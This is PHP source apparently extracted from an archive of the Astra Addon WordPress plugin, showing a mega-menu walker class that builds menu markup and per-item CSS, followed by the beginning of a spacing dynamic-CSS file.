$this->megamenu_bg_position, ); } else { $bg_object = array( 'background' => $this->megamenu_bg_gradient, ); } $style[ '.ast-desktop .astra-megamenu-li.menu-item-' . $this->menu_megamenu_item_id . ' .astra-full-megamenu-wrapper, .ast-desktop .astra-megamenu-li.menu-item-' . $this->menu_megamenu_item_id . ' .astra-mega-menu-width-menu-container, .ast-desktop .astra-megamenu-li.menu-item-' . $this->menu_megamenu_item_id . ' .astra-mega-menu-width-content, .ast-desktop .astra-megamenu-li.menu-item-' . $this->menu_megamenu_item_id . ' .astra-mega-menu-width-custom' ] = 'image' === $this->megamenu_bg_type ? astra_addon_get_megamenu_background_obj( $bg_object ) : $bg_object; } if ( 'custom' === $this->megamenu_width ) { $megamenu_custom_width = $this->megamenu_custom_width; $megamenu_custom_width = ( isset( $megamenu_custom_width ) && ! empty( $megamenu_custom_width ) ) ? $megamenu_custom_width : 1200; $style[ '.ast-desktop .astra-megamenu-li.menu-item-' . $this->menu_megamenu_item_id . ' .astra-mega-menu-width-custom:before' ] = array( 'content' => '"' . $megamenu_custom_width . '"', 'opacity' => 0, ); } // Advanced spacing options. $margin_object = array( 'margin-top' => $this->megamenu_margin_top, 'margin-right' => $this->megamenu_margin_right, 'margin-bottom' => $this->megamenu_margin_bottom, 'margin-left' => $this->megamenu_margin_left, ); $style[ '.ast-desktop .astra-megamenu-li.menu-item-' . $this->menu_megamenu_item_id . ' div.astra-full-megamenu-wrapper, .ast-desktop .astra-megamenu-li.menu-item-' . $this->menu_megamenu_item_id . ' ul.astra-mega-menu-width-menu-container, .ast-desktop .astra-megamenu-li.menu-item-' . $this->menu_megamenu_item_id . ' ul.astra-mega-menu-width-content, .ast-desktop .astra-megamenu-li.menu-item-' . $this->menu_megamenu_item_id . ' ul.astra-mega-menu-width-custom' ] = astra_addon_get_megamenu_spacing_css( $margin_object ); $padding_object = array( 'padding-top' => $this->megamenu_padding_top, 'padding-right' => $this->megamenu_padding_right, 'padding-bottom' => $this->megamenu_padding_bottom, 'padding-left' => $this->megamenu_padding_left, ); $style[ '.ast-desktop .ast-mega-menu-enabled .astra-megamenu-li.menu-item-' . $this->menu_megamenu_item_id . ' .astra-full-megamenu-wrapper, .ast-desktop .ast-mega-menu-enabled .astra-megamenu-li.menu-item-' . $this->menu_megamenu_item_id . ' .astra-mega-menu-width-menu-container, .ast-desktop .ast-mega-menu-enabled .astra-megamenu-li.menu-item-' . $this->menu_megamenu_item_id . ' .astra-mega-menu-width-content, .ast-desktop .ast-mega-menu-enabled .astra-megamenu-li.menu-item-' . $this->menu_megamenu_item_id . ' .astra-mega-menu-width-custom' ] = astra_addon_get_megamenu_spacing_css( $padding_object ); Astra_Ext_Nav_Menu_Loader::add_css( astra_parse_css( $style ) ); if ( 'full' === $this->megamenu_width || 'full-stretched' === $this->megamenu_width ) { // Adding "hidden" class to fix the visibility issue during page load. $output .= "\n$indent<div " . astra_attr( 'ast-megamenu-full-attr', array( 'class' => 'astra-full-megamenu-wrapper ast-hidden' . esc_attr( $megamenu_divider_class ), ) ) . ">\n"; } // Adding "hidden" class to fix the visibility issue during page load. $output .= "\n$indent<ul " . astra_attr( 'ast-megamenu-attr', array( 'class' => "astra-megamenu sub-menu astra-mega-menu-width-{$this->megamenu_width}" . esc_attr( $megamenu_divider_class ) . ' ast-hidden', ) ) . ">\n"; } elseif ( 2 <= $depth && '' != $this->megamenu ) { $output .= "\n$indent<ul class='astra-nested-sub-menu sub-menu'\">\n"; } else { $output .= "\n$indent<ul class=\"sub-menu\">\n"; } } /** * Parse post meta of particular passed key & return its value. * * @param array $post_meta Post meta of megamenu. * @param string $key Meta item key. * * @return mixed value of meta key. * @since 4.1.5 */ public function get_post_meta( $post_meta, $key ) { return isset( $post_meta[ $key ][0] ) ? $post_meta[ $key ][0] : ''; } /** * Modified the menu output. * * @param string $output Passed by reference. Used to append additional content. * @param object $item Menu item data object. * @param int $depth Depth of menu item. Used for padding. * @param array $args An array of arguments. @see wp_nav_menu(). * @param int $id Current item ID. */ public function start_el( &$output, $item, $depth = 0, $args = array(), $id = 0 ) { $indent = ( $depth ) ? str_repeat( "\t", $depth ) : ''; $post_meta = get_post_meta( $item->ID ); if ( 0 === $depth ) { $this->megamenu = $this->get_post_meta( $post_meta, '_menu_item_megamenu' ); $this->megamenu_width = Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'width', $item->ID ); $this->megamenu_custom_width = $this->get_post_meta( $post_meta, '_menu_item_megamenu_custom_width' ); $this->megamenu_bg_image = $this->get_post_meta( $post_meta, '_menu_item_megamenu_background_image' ); $this->megamenu_text_color_group = Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'text_color', $item->ID ); $this->megamenu_bg_type = Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'bg_type', $item->ID ); $this->megamenu_bg_size = $this->get_post_meta( $post_meta, '_menu_item_megamenu_bg_size' ); $this->megamenu_bg_repeat = $this->get_post_meta( $post_meta, '_menu_item_megamenu_bg_repeat' ); $this->megamenu_bg_position = $this->get_post_meta( $post_meta, '_menu_item_megamenu_bg_position' ); $this->megamenu_bg_color = $this->get_post_meta( $post_meta, '_menu_item_megamenu_bg_color' ); $this->megamenu_bg_gradient = $this->get_post_meta( $post_meta, '_menu_item_megamenu_gradient' ); $this->megamenu_divider_width = $this->get_post_meta( $post_meta, '_menu_item_megamenu_divider_width' ); // Common divider. $this->megamenu_divider_style = $this->get_post_meta( $post_meta, '_menu_item_megamenu_divider_style' ); // Top border. $this->megamenu_top_border_color = $this->get_post_meta( $post_meta, '_menu_item_megamenu_top_border_color' ); $this->megamenu_top_border_width = $this->get_post_meta( $post_meta, '_menu_item_megamenu_top_border_width' ); // Column divider. $this->megamenu_column_divider_color = $this->get_post_meta( $post_meta, '_menu_item_megamenu_column_divider_color' ); $this->megamenu_column_divider_width = $this->get_post_meta( $post_meta, '_menu_item_megamenu_column_divider_width' ); // Row divider. $this->megamenu_row_divider_width = $this->get_post_meta( $post_meta, '_menu_item_megamenu_row_divider_width' ); $this->megamenu_heading_color_group = $this->get_post_meta( $post_meta, '_menu_item_megamenu_heading_color_group' ); $this->num_of_columns = 0; $this->menu_megamenu_item_id = $item->ID; $margin_defaults = Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'margin', $item->ID ); $this->megamenu_margin_top = isset( $margin_defaults['desktop']['top'] ) ? $margin_defaults['desktop']['top'] : ''; $this->megamenu_margin_right = isset( $margin_defaults['desktop']['right'] ) ? $margin_defaults['desktop']['right'] : ''; $this->megamenu_margin_bottom = isset( $margin_defaults['desktop']['bottom'] ) ? $margin_defaults['desktop']['bottom'] : ''; $this->megamenu_margin_left = isset( $margin_defaults['desktop']['left'] ) ? $margin_defaults['desktop']['left'] : ''; $padding_defaults = Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'padding', $item->ID ); $this->megamenu_padding_top = isset( $padding_defaults['desktop']['top'] ) ? $padding_defaults['desktop']['top'] : ''; $this->megamenu_padding_right = isset( $padding_defaults['desktop']['right'] ) ? $padding_defaults['desktop']['right'] : ''; $this->megamenu_padding_bottom = isset( $padding_defaults['desktop']['bottom'] ) ? $padding_defaults['desktop']['bottom'] : ''; $this->megamenu_padding_left = isset( $padding_defaults['desktop']['left'] ) ? $padding_defaults['desktop']['left'] : ''; } $this->menu_megamenu_individual_item_id = $item->ID; $this->megamenu_disable_link = $this->get_post_meta( $post_meta, '_menu_item_megamenu_disable_link' ); $this->megamenu_disable_title = Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'disable_title', $item->ID ); $this->megamenu_enable_heading = $this->get_post_meta( $post_meta, '_menu_item_megamenu_enable_heading' ); $this->megamenu_separator_color = $this->get_post_meta( $post_meta, '_menu_item_megamenu_heading_separator_color' ); // Set up empty variable. $class_names = ''; $classes = empty( $item->classes ) ? array() : (array) $item->classes; $classes[] = 'menu-item-' . $item->ID; if ( 'megamenu' === $this->megamenu && 'enable-heading' === $item->megamenu_enable_heading /*&& 0 != $depth*/ ) { $classes[] = 'menu-item-heading'; } $row_border_width = $this->megamenu_row_divider_width ? $this->megamenu_row_divider_width . esc_attr( 'px' ) : esc_attr( '1px' ); $row_border_style = $this->megamenu_divider_style ? $this->megamenu_divider_style : esc_attr( 'solid' ); if ( ( isset( $this->megamenu_separator_color ) && '' != $this->megamenu_separator_color ) ) { $style = array( '.ast-desktop .astra-megamenu-li .menu-item-' . $this->menu_megamenu_individual_item_id . '.menu-item-heading > .menu-link, .ast-desktop .ast-mega-menu-enabled.submenu-with-border .astra-megamenu-li .menu-item-' . $this->menu_megamenu_individual_item_id . '.menu-item-heading > .menu-link, .ast-desktop .ast-mega-menu-enabled .astra-megamenu-li .menu-item-' . $this->menu_megamenu_individual_item_id . '.menu-item-heading > .menu-link' => array( 'border-bottom' => $row_border_width . ' ' . $row_border_style . ' ' . $this->megamenu_separator_color, ), ); Astra_Ext_Nav_Menu_Loader::add_css( astra_parse_css( $style ) ); } // Mega menu and Hide headings. if ( 0 === $depth && $this->has_children && '' != $this->megamenu && 'ast-hf-mobile-menu' !== $args->menu_id && 'ast-desktop-toggle-menu' !== $args->menu_id ) { $classes[] = 'astra-megamenu-li ' . $this->megamenu_width . '-width-mega'; } if ( $item->description ) { $classes[] = 'ast-mm-has-desc'; } /** * Filters the arguments for a single nav menu item. * * @since 4.4.0 * * @param stdClass $args An object of wp_nav_menu() arguments. * @param WP_Post $item Menu item data object. * @param int $depth Depth of menu item. Used for padding. */ $args = apply_filters( 'nav_menu_item_args', $args, $item, $depth ); /** * Filters the CSS class(es) applied to a menu item's list item element. * * @since 3.0.0 * @since 4.1.0 The `$depth` parameter was added. * * @param array $classes The CSS classes that are applied to the menu item's `<li>` element. * @param WP_Post $item The current menu item. * @param stdClass $args An object of wp_nav_menu() arguments. * @param int $depth Depth of menu item. Used for padding. */ $class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item, $args, $depth ) ); $class_names = $class_names ? ' class="' . esc_attr( $class_names ) . '"' : ''; /** * Filters the ID applied to a menu item's list item element. * * @since 3.0.1 * @since 4.1.0 The `$depth` parameter was added. * * @param string $menu_id The ID that is applied to the menu item's `<li>` element. * @param WP_Post $item The current menu item. * @param stdClass $args An object of wp_nav_menu() arguments. * @param int $depth Depth of menu item. Used for padding. */ $id = apply_filters( 'nav_menu_item_id', 'menu-item-' . $item->ID, $item, $args, $depth ); $id = $id ? ' id="' . esc_attr( $id ) . '"' : ''; $output .= $indent . '<li' . $id . $class_names . '>'; $atts = array(); $atts['title'] = ! empty( $item->attr_title ) ? $item->attr_title : ''; $atts['target'] = ! empty( $item->target ) ? $item->target : ''; $atts['rel'] = ! empty( $item->xfn ) ? $item->xfn : ''; $atts['href'] = ! empty( $item->url ) ? $item->url : ''; /** * Passing Attr Classes to the filter in order to not override the existing CSS classes using the filter 'nav_menu_link_attributes' added from theme. * * This resolves the cloning Menu CSS for menu added after Primary Menu issue + 'MegaMenu Hide Menu Label / Description?' option not working issue. * * @since 3.1.0 */ $item_output = $args->before; $link_classes = array(); if ( 'disable-link' === $item->megamenu_disable_link ) { $link_classes[] = 'ast-disable-link'; } if ( 'disable-title' === $item->megamenu_disable_title ) { $link_classes[] = 'ast-hide-menu-item'; } $link_classes_str = join( ' ', $link_classes ); $atts['class'] = ! empty( $link_classes_str ) ? $link_classes_str : ''; /** * Filters the HTML attributes applied to a menu item's anchor element. * * @since 3.6.0 * @since 4.1.0 The `$depth` parameter was added. * * @param array $atts { * The HTML attributes applied to the menu item's `<a>` element, empty strings are ignored. * * @type string $title Title attribute. * @type string $target Target attribute. * @type string $rel The rel attribute. * @type string $href The href attribute. * } * @param WP_Post $item The current menu item. * @param stdClass $args An object of wp_nav_menu() arguments. * @param int $depth Depth of menu item. Used for padding. */ $atts = apply_filters( 'nav_menu_link_attributes', $atts, $item, $args, $depth ); $attributes = ''; foreach ( $atts as $attr => $value ) { if ( ! empty( $value ) ) { $value = ( 'href' === $attr ) ? esc_url( $value ) : esc_attr( $value ); if ( 'href' === $attr && 'disable-link' === $item->megamenu_disable_link ) { $value = 'javascript:void(0)'; } if ( 'class' !== $attr ) { $attributes .= ' ' . $attr . '="' . $value . '"'; } } } /** This filter is documented in wp-includes/post-template.php */ $title = apply_filters( 'the_title', $item->title, $item->ID ); /** * Filters a menu item's title. * * @since 4.4.0 * * @param string $title The menu item's title. * @param WP_Post $item The current menu item. * @param stdClass $args An object of wp_nav_menu() arguments. * @param int $depth Depth of menu item. Used for padding. */ $title = apply_filters( 'nav_menu_item_title', $title, $item, $args, $depth ); // Wrap menu text in a span tag. $title = '<span class="menu-text">' . $title . '</span>'; $item_output .= '<a' . $attributes . ' class="' . $atts['class'] . '">'; if ( isset( $item->megamenu_highlight_label ) && '' != $item->megamenu_highlight_label ) { $style = array( '.ast-desktop .menu-item-' . $item->ID . ' .astra-mm-highlight-label, .ast-header-break-point .menu-item-' . $item->ID . ' .astra-mm-highlight-label' => array( 'color' => $item->megamenu_label_color, 'background-color' => $item->megamenu_label_bg_color, ), ); Astra_Ext_Nav_Menu_Loader::add_css( astra_parse_css( $style ) ); $title .= '<span class="astra-mm-highlight-label">' . esc_html( $item->megamenu_highlight_label ) . '</span>'; } if ( isset( $item->megamenu_icon_source ) && '' != $item->megamenu_icon_source && 'none' !== $item->megamenu_icon_source ) { $mm_megamenu_icon_main = $item->megamenu_icon_source; $mm_megamenu_icon_source = isset( $mm_megamenu_icon_main['source'] ) ? $mm_megamenu_icon_main['source'] : ''; $mm_megamenu_icon = isset( $mm_megamenu_icon_main['icon'] ) ? $mm_megamenu_icon_main['icon'] : ''; $mm_megamenu_image = isset( $mm_megamenu_icon_main['image'] ) ? $mm_megamenu_icon_main['image'] : ''; $mm_megamenu_icon_spacing = isset( $item->megamenu_icon_spacing ) ? $item->megamenu_icon_spacing : ''; $mm_megamenu_icon_position = isset( $item->megamenu_icon_position ) ? $item->megamenu_icon_position : ''; $mm_megamenu_icon_view = isset( $item->megamenu_icon_view ) ? $item->megamenu_icon_view : ''; $mm_megamenu_icon_primary_color = isset( $item->megamenu_icon_primary_color ) ? $item->megamenu_icon_primary_color : ''; $mm_megamenu_icon_secondary_color = isset( $item->megamenu_icon_secondary_color ) ? $item->megamenu_icon_secondary_color : ''; $mm_megamenu_icon_size = isset( $item->megamenu_icon_size ) ? $item->megamenu_icon_size : ''; $mm_megamenu_icon_padding = isset( $item->megamenu_icon_padding ) ? $item->megamenu_icon_padding : ''; $mm_megamenu_icon_corner_radius = isset( $item->megamenu_icon_corner_radius ) ? $item->megamenu_icon_corner_radius : ''; $mm_megamenu_icon_border_width = isset( $item->megamenu_icon_border_width ) ? $item->megamenu_icon_border_width : ''; $mm_image = ''; if ( 'icon' === $mm_megamenu_icon_source ) { $mm_image = ( class_exists( 'Astra_Builder_UI_Controller' ) && $mm_megamenu_icon ) ? Astra_Builder_UI_Controller::fetch_svg_icon( $mm_megamenu_icon, false ) : ''; } if ( 'image' === $mm_megamenu_icon_source ) { $mm_image = $mm_megamenu_image ? '<img src="' . $mm_megamenu_image . '" alt="mm-ast-icon">' : ''; } $icon_array_slug = '.ast-desktop .menu-item-' . $item->ID . ' .astra-mm-icon-label.icon-item-' . $item->ID; $icon_array_slug .= ', .ast-header-break-point .menu-item-' . $item->ID . ' .astra-mm-icon-label.icon-item-' . $item->ID; $icon_array_slug_image = '.ast-desktop .menu-item-' . $item->ID . ' .astra-mm-icon-label.icon-item-' . $item->ID . ' > img'; $icon_array_slug_image .= ', .ast-header-break-point .menu-item-' . $item->ID . ' .astra-mm-icon-label.icon-item-' . $item->ID . ' > img'; $icon_array_slug_svg = '.ast-desktop .menu-item-' . $item->ID . ' .astra-mm-icon-label.icon-item-' . $item->ID . ' svg'; $icon_array_slug_svg .= ', .ast-header-break-point .menu-item-' . $item->ID . ' .astra-mm-icon-label.icon-item-' . $item->ID . ' svg'; $icon_style = array(); $icon_tablet_style = array(); $icon_mobile_style = array(); $icon_style[ $icon_array_slug ]['display'] = esc_attr( 'inline-block' ); $icon_style[ $icon_array_slug ]['vertical-align'] = esc_attr( 'middle' ); $icon_style[ $icon_array_slug ]['line-height'] = esc_attr( 0 ); // Defaults for icon. if ( 'default' === $mm_megamenu_icon_view ) { if ( ! $mm_megamenu_icon_primary_color ) { $icon_style[ $icon_array_slug_svg ]['color'] = 'var(--ast-global-color-0)'; $icon_style[ $icon_array_slug_svg ]['fill'] = 'var(--ast-global-color-0)'; } } if ( 'stacked' === $mm_megamenu_icon_view ) { if ( ! $mm_megamenu_icon_primary_color ) { $icon_style[ $icon_array_slug_svg ]['color'] = '#fff'; $icon_style[ $icon_array_slug_svg ]['fill'] = '#fff'; } if ( ! $mm_megamenu_icon_secondary_color ) { $icon_style[ $icon_array_slug ]['background-color'] = 'var(--ast-global-color-0)'; } } if ( 'framed' === $mm_megamenu_icon_view ) { if ( ! $mm_megamenu_icon_primary_color ) { $icon_style[ $icon_array_slug_svg ]['color'] = 'var(--ast-global-color-0)'; $icon_style[ $icon_array_slug_svg ]['fill'] = 'var(--ast-global-color-0)'; $icon_style[ $icon_array_slug ]['border-color'] = 'var(--ast-global-color-0)'; } if ( ! $mm_megamenu_icon_secondary_color ) { $global_palette = astra_get_option( 'global-color-palette' ); if ( $global_palette && isset( $global_palette['palette'][0] ) && function_exists( 'astra_hex_to_rgba' ) ) { $icon_style[ $icon_array_slug ]['background-color'] = astra_hex_to_rgba( $global_palette['palette'][0], .15 ); } } } if ( $mm_megamenu_icon_spacing ) { $icon_style[ $icon_array_slug ]['margin'] = $mm_megamenu_icon_spacing . 'px'; } if ( $mm_megamenu_icon_size ) { if ( 'image' === $mm_megamenu_icon_source ) { $icon_style[ $icon_array_slug_image ]['width'] = $mm_megamenu_icon_size . 'px'; $icon_style[ $icon_array_slug_image ]['height'] = $mm_megamenu_icon_size . 'px'; } else { $icon_style[ $icon_array_slug_svg ]['width'] = $mm_megamenu_icon_size . 'px'; $icon_style[ $icon_array_slug_svg ]['height'] = $mm_megamenu_icon_size . 'px'; } } if ( $mm_megamenu_icon_primary_color ) { $icon_style[ $icon_array_slug_svg ]['color'] = $mm_megamenu_icon_primary_color; $icon_style[ $icon_array_slug_svg ]['fill'] = $mm_megamenu_icon_primary_color; } if ( 'stacked' === $mm_megamenu_icon_view || 'framed' === $mm_megamenu_icon_view ) { if ( $mm_megamenu_icon_padding ) { $icon_style[ $icon_array_slug ]['padding'] = $mm_megamenu_icon_padding . 'px'; } if ( $mm_megamenu_icon_secondary_color ) { $icon_style[ $icon_array_slug ]['background-color'] = $mm_megamenu_icon_secondary_color; } if ( $mm_megamenu_icon_corner_radius && isset( $mm_megamenu_icon_corner_radius['desktop'] ) && isset( $mm_megamenu_icon_corner_radius['desktop-unit'] ) ) { if ( isset( $mm_megamenu_icon_corner_radius['desktop']['top-left'] ) && $mm_megamenu_icon_corner_radius['desktop']['top-left'] ) { $icon_style[ $icon_array_slug ]['border-top-left-radius'] = $mm_megamenu_icon_corner_radius['desktop']['top-left'] . $mm_megamenu_icon_corner_radius['desktop-unit']; } if ( isset( $mm_megamenu_icon_corner_radius['desktop']['top-right'] ) && $mm_megamenu_icon_corner_radius['desktop']['top-right'] ) { $icon_style[ $icon_array_slug ]['border-top-right-radius'] = $mm_megamenu_icon_corner_radius['desktop']['top-right'] . $mm_megamenu_icon_corner_radius['desktop-unit']; } if ( isset( $mm_megamenu_icon_corner_radius['desktop']['bottom-left'] ) && $mm_megamenu_icon_corner_radius['desktop']['bottom-left'] ) { $icon_style[ $icon_array_slug ]['border-bottom-left-radius'] = $mm_megamenu_icon_corner_radius['desktop']['bottom-left'] . $mm_megamenu_icon_corner_radius['desktop-unit']; } if ( isset( $mm_megamenu_icon_corner_radius['desktop']['bottom-right'] ) && $mm_megamenu_icon_corner_radius['desktop']['bottom-right'] ) { $icon_style[ $icon_array_slug ]['border-bottom-right-radius'] = $mm_megamenu_icon_corner_radius['desktop']['bottom-right'] . $mm_megamenu_icon_corner_radius['desktop-unit']; } } } if ( 'framed' === $mm_megamenu_icon_view ) { if ( $mm_megamenu_icon_corner_radius || $mm_megamenu_icon_border_width ) { $icon_style[ $icon_array_slug ]['border-style'] = esc_attr( 'solid' ); $icon_style[ $icon_array_slug ]['border-width'] = esc_attr( 'inherit' ); } if ( $mm_megamenu_icon_border_width && isset( $mm_megamenu_icon_border_width['desktop'] ) && isset( $mm_megamenu_icon_border_width['desktop-unit'] ) ) { if ( isset( $mm_megamenu_icon_border_width['desktop']['top'] ) && $mm_megamenu_icon_border_width['desktop']['top'] ) { $icon_style[ $icon_array_slug ]['border-top-width'] = $mm_megamenu_icon_border_width['desktop']['top'] . $mm_megamenu_icon_border_width['desktop-unit']; } if ( isset( $mm_megamenu_icon_border_width['desktop']['bottom'] ) && $mm_megamenu_icon_border_width['desktop']['bottom'] ) { $icon_style[ $icon_array_slug ]['border-bottom-width'] = $mm_megamenu_icon_border_width['desktop']['bottom'] . $mm_megamenu_icon_border_width['desktop-unit']; } if ( isset( $mm_megamenu_icon_border_width['desktop']['left'] ) && $mm_megamenu_icon_border_width['desktop']['left'] ) { $icon_style[ $icon_array_slug ]['border-left-width'] = $mm_megamenu_icon_border_width['desktop']['left'] . $mm_megamenu_icon_border_width['desktop-unit']; } if ( isset( $mm_megamenu_icon_border_width['desktop']['right'] ) && $mm_megamenu_icon_border_width['desktop']['right'] ) { $icon_style[ $icon_array_slug ]['border-right-width'] = $mm_megamenu_icon_border_width['desktop']['right'] . $mm_megamenu_icon_border_width['desktop-unit']; } } if ( $mm_megamenu_icon_primary_color ) { $icon_style[ $icon_array_slug ]['border-color'] = $mm_megamenu_icon_primary_color; } } if ( ! empty( $icon_style ) || ! empty( $icon_tablet_style ) || ! empty( $icon_mobile_style ) ) { Astra_Ext_Nav_Menu_Loader::add_css( astra_parse_css( $icon_style ) ); } if ( $mm_image ) { $icon_source = 'icon' === $mm_megamenu_icon_source ? $mm_image : wp_kses_post( $mm_image ); $icon_position = $icon_source ? '<span class="astra-mm-icon-label icon-item-' . $item->ID . '">' . $icon_source . '</span>' : ''; $title = 'after-label' === $mm_megamenu_icon_position ? $title . $icon_position : $icon_position . $title; } } $item_output .= Astra_Icons::get_icons( 'arrow' ); $item_output .= $args->link_before . $title . $args->link_after; $astra_arrow_icon = Astra_Icons::get_icons( 'arrow' ); $role = 'application'; $custom_tabindex = true === astra_addon_builder_helper()->is_header_footer_builder_active ? 'tabindex="0"' : ''; if ( $args->walker->has_children && ( true === astra_addon_builder_helper()->is_header_footer_builder_active || Astra_Icons::is_svg_icons() ) ) { $item_output .= $astra_arrow_icon ? '<span role="' . esc_attr( $role ) . '" class="dropdown-menu-toggle ast-header-navigation-arrow" ' . $custom_tabindex . ' aria-expanded="false" aria-label="' . esc_attr__( 'Menu Toggle', 'astra-addon' ) . '" >' . $astra_arrow_icon . '</span>' : ''; } if ( 0 == $depth && 'ast-hf-mobile-menu' !== $args->menu_id && 'ast-desktop-toggle-menu' !== $args->menu_id && false === astra_addon_builder_helper()->is_header_footer_builder_active ) { $item_output .= '<span class="sub-arrow"></span>'; } $item_output .= '</a>'; if ( '' != $this->megamenu && isset( $item->megamenu_content_src ) && 'default' != $item->megamenu_content_src ) { ob_start(); $content = ''; switch ( $item->megamenu_content_src ) { case 'template': // Get ID. $template_id = $item->megamenu_template; // Get template content. if ( ! empty( $template_id ) ) { $content .= '<div class="ast-mm-custom-content ast-mm-template-content">'; $page_builder_base_instance = Astra_Addon_Page_Builder_Compatibility::get_instance(); $page_builder_instance = $page_builder_base_instance->get_active_page_builder( $template_id ); $page_builder_instance->render_content( $template_id ); $content .= ob_get_contents(); $content .= '</div>'; } break; case 'custom_text': $content = '<div class="ast-mm-custom-content ast-mm-custom-text-content">'; $content .= do_shortcode( $item->megamenu_custom_text ); $content .= '</div>'; break; case 'widget': $astra_nav_support_object = Astra_Ext_Nav_Widget_Support::get_instance(); $widgets = explode( ',', $item->megamenu_widgets_list ); if ( ! empty( $widgets ) ) { $content = '<div class="ast-mm-custom-content ast-mm-widget-content">'; foreach ( $widgets as $widget_id ) { $content .= $astra_nav_support_object->display_widget( $widget_id ); } $content .= '</div>'; } break; default: // code... break; } ob_end_clean(); $item_output .= $content; } $item_output .= $args->after; /** * Filters a menu item's starting output. * * The menu item's starting output only includes `$args->before`, the opening `<a>`, * the menu item's title, the closing `</a>`, and `$args->after`. Currently, there is * no filter for modifying the opening and closing `<li>` for a menu item. * * @since 3.0.0 * * @param string $item_output The menu item's starting HTML output. * @param WP_Post $item Menu item data object. * @param int $depth Depth of menu item. Used for padding. * @param stdClass $args An object of wp_nav_menu() arguments. */ $output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args ); } /** * Modified the menu end. * * @param string $output Passed by reference. Used to append additional content. * @param object $item Menu item data object. * @param int $depth Depth of menu item. Used for padding. * @param array $args An array of arguments. @see wp_nav_menu(). */ public function end_el( &$output, $item, $depth = 0, $args = array() ) { // </li> output. $output .= '</li>'; } /** * Ends the list of after the elements are added. * * @param string $output Passed by reference. Used to append additional content. * @param int $depth Depth of menu item. Used for padding. * @param array $args An array of arguments. @see wp_nav_menu(). */ public function end_lvl( &$output, $depth = 0, $args = array() ) { $indent = str_repeat( "\t", $depth ); $output .= "$indent</ul>\n"; } } } dynamic.css.php 0000666 00000545561 15165372345 0007527 0 ustar 00 <?php /** * Spacing - Dynamic CSS * * @package Astra Addon */ add_filter( 'astra_addon_dynamic_css', 'astra_ext_spacing_dynamic_css' ); /** * Dynamic CSS * * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * @return string */ function astra_ext_spacing_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { // Spacing. $is_site_rtl = is_rtl(); $site_identity_spacing = astra_get_option( 'site-identity-spacing' ); $continder_outside_spacing = astra_get_option( 'container-outside-spacing' ); $container_inside_spacing = astra_get_option( 'container-inside-spacing' ); $single_post_inside_spacing = astra_get_option( 'single-post-inside-spacing' ); $header_spacing = astra_get_option( 'header-spacing' ); $primary_menu_spacing = astra_get_option( 'primary-menu-spacing' ); $primary_submenu_spacing = astra_get_option( 'primary-submenu-spacing' ); $above_header_spacing = astra_get_option( 'above-header-spacing' ); $above_header_menu_spacing = astra_get_option( 'above-header-menu-spacing' ); $above_header_submenu_spacing = astra_get_option( 'above-header-submenu-spacing' ); $below_header_spacing = astra_get_option( 'below-header-spacing' ); $below_header_menu_spacing = astra_get_option( 'below-header-menu-spacing' ); $below_header_submenu_spacing = astra_get_option( 'below-header-submenu-spacing' ); $sidebar_outside_spacing = astra_get_option( 'sidebar-outside-spacing' ); $sidebar_inside_spacing = astra_get_option( 'sidebar-inside-spacing' ); $astra_footer_width = astra_get_option( 'footer-layout-width' ); $footer_spacing = astra_get_option( 'footer-sml-spacing' ); $footer_menu_spacing = astra_get_option( 'footer-menu-spacing' ); $site_content_layout = astra_get_option( 'site-content-layout' ); $header_content_layout = astra_get_option( 'header-main-layout-width' ); $header_layouts = astra_get_option( 'header-layouts' ); // Sticky header. $stick_header_main = astra_get_option( 'header-main-stick' ); $stick_header_main_meta = astra_get_option_meta( 'header-main-stick-meta' ); $stick_header_above = astra_get_option( 'header-above-stick' ); $stick_header_above_meta = astra_get_option_meta( 'header-above-stick-meta' ); $stick_header_below = astra_get_option( 'header-below-stick' ); $stick_header_below_meta = astra_get_option_meta( 'header-below-stick-meta' ); $header_main_shrink = astra_get_option( 'header-main-shrink' ); // Blog Grid spacing. $blog_grid = astra_get_option( 'blog-grid' ); $blog_layout = astra_get_option( 'blog-layout' ); $blog_post_outside_spacing = astra_get_option( 'blog-post-outside-spacing' ); $blog_post_inside_spacing = astra_get_option( 'blog-post-inside-spacing' ); $blog_post_pagination_spacing = astra_get_option( 'blog-post-pagination-spacing' ); $blog_featured_image_padding = astra_get_option( 'blog-featured-image-padding' ); $remove_single_featured_padding = astra_get_option( 'single-featured-image-padding' ); $alignfull_editor_selector = ( true === astra_get_option( 'improve-gb-editor-ui' ) ) ? '.ast-no-sidebar.ast-separate-container .entry-content > .alignfull, .ast-no-sidebar.ast-narrow-container .entry-content > .alignfull' : '.ast-no-sidebar.ast-separate-container .entry-content .alignfull, .ast-no-sidebar.ast-narrow-container .entry-content .alignfull'; // Updated selector here because there is no requirement of extra spacing for nested alignfull blocks. // Desktop Spacing. $is_new_strctural_defaults = astra_get_option( 'customizer-default-layout-update', true ); $spacing = array( /** * Content Spacing */ '.ast-separate-container .ast-article-post, .ast-separate-container .ast-article-single, .ast-separate-container .ast-comment-list li.depth-1, .ast-separate-container .comment-respond, .single.ast-separate-container .ast-author-details, .ast-separate-container .ast-related-posts-wrap, .ast-separate-container .ast-woocommerce-container' => array( 'padding-top' => astra_responsive_spacing( $container_inside_spacing, 'top', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $container_inside_spacing, 'bottom', 'desktop' ), ), // Narrow Container global inside spacing support. '.ast-narrow-container .ast-article-post, .ast-narrow-container .ast-article-single, .ast-narrow-container .ast-comment-list li.depth-1, .ast-narrow-container .comment-respond, .single.ast-narrow-container .ast-author-details, .ast-narrow-container .ast-related-posts-wrap, .ast-narrow-container .ast-woocommerce-container, .ast-narrow-container .ast-single-related-posts-container' => array( 'padding-top' => astra_responsive_spacing( $container_inside_spacing, 'top', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $container_inside_spacing, 'bottom', 'desktop' ), ), '.ast-separate-container .ast-article-post, .ast-separate-container .ast-article-single,.ast-separate-container .comments-count-wrapper, .ast-separate-container .ast-comment-list li.depth-1, .ast-separate-container .comment-respond,.ast-separate-container .related-posts-title-wrapper,.ast-separate-container 